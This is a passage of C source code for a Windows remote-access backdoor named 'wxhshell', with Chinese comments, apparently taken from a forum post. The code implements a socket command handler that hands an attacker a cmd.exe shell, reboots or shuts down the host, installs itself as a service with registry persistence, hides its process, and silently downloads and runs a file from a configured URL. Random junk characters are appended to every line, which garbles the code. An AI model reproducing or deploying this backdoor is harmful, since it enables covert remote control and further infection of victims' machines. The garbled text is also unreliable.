    switch(cmd[0]) { wz h.$?~  
  - {0g#G  
  // 帮助 4Mi~1iZj  
  case '?': { !M,h79NM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qZ&a76t  
    break; 0_Lm#fE U  
  } q1jN]H  
  // 安装 !8o\.uyi  
  case 'i': { MJA~jjy4  
    if(Install()) ">cqt>2 A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\"1wV~E  
    else .8:+MW/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M.S s: ttj  
    break; wW^Zb  
    } -IbbPuRq  
  // 卸载 k},>^qE  
  case 'r': { e+l\\9v  
    if(Uninstall()) 9N^+IZ@l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !D7"=G}HD  
    else $M39 #a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :,47rN,qa  
    break; @R UP$  
    } UDM yyVd  
  // 显示 wxhshell 所在路径 4j{oaey  
  case 'p': { y #69|G  
    char svExeFile[MAX_PATH]; <>n9'i1  
    strcpy(svExeFile,"\n\r"); qrpb[)Ll  
      strcat(svExeFile,ExeFile); f0u56I9  
        send(wsh,svExeFile,strlen(svExeFile),0); 4 A5t*e  
    break; Oi6Eo~\f  
    } 5tMh/]IeS  
  // 重启 $HxS:3D%D  
  case 'b': { JdO)YlM-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e$ 32  
    if(Boot(REBOOT)) Qww^P/vm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3T?f5+@I  
    else { 'u1=XX h  
    closesocket(wsh); ~GA8_B  
    ExitThread(0); &kiF/F 1  
    } >K5~:mx#3  
    break; w2C&%Xk  
    } Y+@g~TE  
  // 关机 )@_ugW-j  
  case 'd': { +2Z#M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YNk|+A.<d  
    if(Boot(SHUTDOWN)) Ch7Egz l7?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i%MA"I\9  
    else { `zY!`G  
    closesocket(wsh); DRp&IP<  
    ExitThread(0); F3Ap1-%z  
    } OT;cfkf7  
    break; -zTEL (r  
    } BJgDo  
  // 获取shell Xo8DEr  
  case 's': { <}]{~y  
    CmdShell(wsh); rd">JEK;;  
    closesocket(wsh); /K@$#x_{  
    ExitThread(0); .yX>.>"T|  
    break; |AC6sfA+  
  } `.[ 8$  
  // 退出 P.h.M A]  
  case 'x': { QLn+R(r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a*s\Em7f  
    CloseIt(wsh); 4\HsU9x  
    break; 9ad6uTc  
    } 9T?64t<Ju  
  // 离开 5uttv:@=  
  case 'q': { 'bPk'pj9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wFb@1ae\  
    closesocket(wsh); 2f^-~dz  
    WSACleanup(); +9C;<f  
    exit(1); RG&6FRoq  
    break; 1 }nm2h1 I  
        } Oy%Im8.-A#  
  } Fg4@On[,i  
  } .it2NS  
'in@9XO  
  // 提示信息 kW +G1|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ).Gd1pE  
} O_AGMW/2+  
  } <sc\EK  
[@|be.g  
  return; A="fj  
} q#'VJA:A5&  
p[-{]!  
// shell模块句柄 k}U JVH21k  
int CmdShell(SOCKET sock) h0lu!m#\_  
{ `|?]CkP  
STARTUPINFO si; SM<d  
ZeroMemory(&si,sizeof(si)); (6clq:c7j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;'^, ,{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )2V@p~k?  
PROCESS_INFORMATION ProcessInfo; iadkH]w  
char cmdline[]="cmd"; Z2bUs!0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R8 jovr  
  return 0; v?)SA];  
} r[!(?%>j  
uREu2T2  
// 自身启动模式 a q kix"J  
int StartFromService(void) K:_($X]  
{ 0+j}};   
typedef struct fGTOIi@#  
{ HY*\ k#  
  DWORD ExitStatus; V7@ { D  
  DWORD PebBaseAddress; bE4HDq34  
  DWORD AffinityMask; AerFgQiS  
  DWORD BasePriority; 0D~=SekQ 9  
  ULONG UniqueProcessId; 0m&3?"5u  
  ULONG InheritedFromUniqueProcessId; KoF iQ?  
}   PROCESS_BASIC_INFORMATION; vYdlSe=6G  
L {qJ-ln:  
PROCNTQSIP NtQueryInformationProcess; H;y}-=J+  
Up|f=@=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c3W BALdh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  CC#C  
kc Y,vl  
  HANDLE             hProcess; !=[>r'+3  
  PROCESS_BASIC_INFORMATION pbi; /< QSe  
7xT[<?,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ow)R|/e /  
  if(NULL == hInst ) return 0; R&Ci/  
no|Gq>Xp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TY6 rwU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +N R n0 z(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *<q4S(l  
K(OaW)j  
  if (!NtQueryInformationProcess) return 0; Y 1y E  
l#xw.2bo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xm@aYNV  
  if(!hProcess) return 0; }N]!0Ka  
eEP( ).  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SH=:p^J  
=~J fVozU  
  CloseHandle(hProcess); ET+'Pj3  
iaRR5D-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %w:'!X><  
if(hProcess==NULL) return 0; @n@g)`  
*~;8N|4<  
HMODULE hMod; :\bfGSD/gd  
char procName[255]; {:)vwUe{  
unsigned long cbNeeded; 3]`mQm E  
/buWAX 1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;($1Z7j+  
wT/6aJoX  
  CloseHandle(hProcess); ]/44Ygz/  
iRs V#s  
if(strstr(procName,"services")) return 1; // 以服务启动 c,$mWTC  
Wj OH/$(  
  return 0; // 注册表启动 choL %g}  
} c/'M#h)"  
wko2M[  
// 主模块 O9e.=l  
int StartWxhshell(LPSTR lpCmdLine) Abf1"#YImy  
{ liD47}+  
  SOCKET wsl; gn.Ol/6D  
BOOL val=TRUE; tW(+xu36  
  int port=0; )eq}MaW+j  
  struct sockaddr_in door; H&K3"Ulw  
85hQk+Bu4  
  if(wscfg.ws_autoins) Install(); r<|nwFJ  
NjP ]My  
port=atoi(lpCmdLine); :o$@F-$k  
t'aSF{%  
if(port<=0) port=wscfg.ws_port; J7n5Ps\M  
w_3xKnMT\  
  WSADATA data; g ;LVECk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tBv3~Of.  
ETm]o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D$hQyhz'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b pp*  
  door.sin_family = AF_INET; ytz8=\p_b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (#z;(EN0t  
  door.sin_port = htons(port); ^#w{/C/n  
}4vjKSV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =GTD"*vwr  
closesocket(wsl); u>|"28y  
return 1; 4=s9A  
} {MxnIg7'  
`p1DaV  
  if(listen(wsl,2) == INVALID_SOCKET) { :x+ig5  
closesocket(wsl); <m1sSghg  
return 1; e?=elN  
} n;qz^HXEJ  
  Wxhshell(wsl); L=m:/qQL  
  WSACleanup(); $}4K`Iu  
5[<F_"x  
return 0; OpqNEo\  
N8 M'0i?  
} 4 l1 i>_R  
@G(xaU'u  
// 以NT服务方式启动 JCcQd 01z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~},~c:fF?  
{ :d({dF_k;p  
DWORD   status = 0; Q"'V9m7 i  
  DWORD   specificError = 0xfffffff; df ?eL2v  
OHhs y|W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I+~bCcgPi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eJ:Yj ~X`<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NQR^%<hU  
  serviceStatus.dwWin32ExitCode     = 0; OAVQ`ek  
  serviceStatus.dwServiceSpecificExitCode = 0; E*^ 9|Y[  
  serviceStatus.dwCheckPoint       = 0; SUc6/'Rdr  
  serviceStatus.dwWaitHint       = 0; (H1lqlVWV#  
sX5sL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IXJ6PpQLv  
  if (hServiceStatusHandle==0) return; 8nsZ+,@+[  
]738Z/)^  
status = GetLastError(); >-zkB)5<,#  
  if (status!=NO_ERROR) M5 `m.n<  
{ ^]7,1dH}M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x;mJvfX  
    serviceStatus.dwCheckPoint       = 0; 4Cd#sQ  
    serviceStatus.dwWaitHint       = 0; QPV@'.2m  
    serviceStatus.dwWin32ExitCode     = status; "Y(^F bs  
    serviceStatus.dwServiceSpecificExitCode = specificError; ALAL( f`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6g|#ho1Bbs  
    return; pw;r 25   
  } %yvA   
/Zx8nx'{V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6qDfcs  
  serviceStatus.dwCheckPoint       = 0; |lE-&a$xd  
  serviceStatus.dwWaitHint       = 0; o$\tHzB9!A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t\|J&4!Y  
} hb<k]-'!  
Pxk0(oBX  
// 处理NT服务事件,比如:启动、停止 *`1bc'umM;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9t}J|09i  
{ niQcvnT4b  
switch(fdwControl) *;P2+cE>H3  
{ /.2qWQH  
case SERVICE_CONTROL_STOP: 9fMSAB+c%  
  serviceStatus.dwWin32ExitCode = 0; _ .!aBy%xf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .<dOED{v  
  serviceStatus.dwCheckPoint   = 0; /sV?JV[t  
  serviceStatus.dwWaitHint     = 0; @`Wt4<  
  { 6W:1>,xS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); itHM7d  
  } oR#my ^  
  return; #Z!#;%S  
case SERVICE_CONTROL_PAUSE: qPUA!-'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >fg4x+0%  
  break; NhCAv +  
case SERVICE_CONTROL_CONTINUE: s,kU*kHn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uR^.  
  break; yYk|YX(7U  
case SERVICE_CONTROL_INTERROGATE: c(E,&{+E  
  break; /:KQAM0  
}; ?CFoe$M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]/[0O+B?  
} {!y<<u1  
Tm\OYYyk  
// 标准应用程序主函数 "]UIz_^'`U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MISE C[/  
{ AygvJeM_W  
$N dH*  
// 获取操作系统版本 R|-j]Ne  
OsIsNt=GetOsVer(); VAg68 EbnF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dxntGH< O  
EZ `}*Yrd  
  // 从命令行安装 V $>"f(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]Ly8s#<g]N  
D Kq-C%  
  // 下载执行文件 ? o sfL  
if(wscfg.ws_downexe) { %b9fW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A'`P2Am  
  WinExec(wscfg.ws_filenam,SW_HIDE); &8afl"_~  
} s_v }=C^  
@ 'Q%Jc(  
if(!OsIsNt) { RJLFj  
// 如果时win9x,隐藏进程并且设置为注册表启动 A-;^~I  
HideProc(); ^F&A6{9f/h  
StartWxhshell(lpCmdLine); 3@'lIV ?,q  
} ve~C`2=;  
else 8lpzSJP4k  
  if(StartFromService())  qJURPK  
  // 以服务方式启动 v?}pi  
  StartServiceCtrlDispatcher(DispatchTable); Qj:{p5H'  
else .X^43 q  
  // 普通方式启动 9j2\y=<&  
  StartWxhshell(lpCmdLine); `T`c@A  
/xJY7yF  
return 0; Uqr{,-]5v  
}
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只看该作者 1 发表于: 2006-10-10
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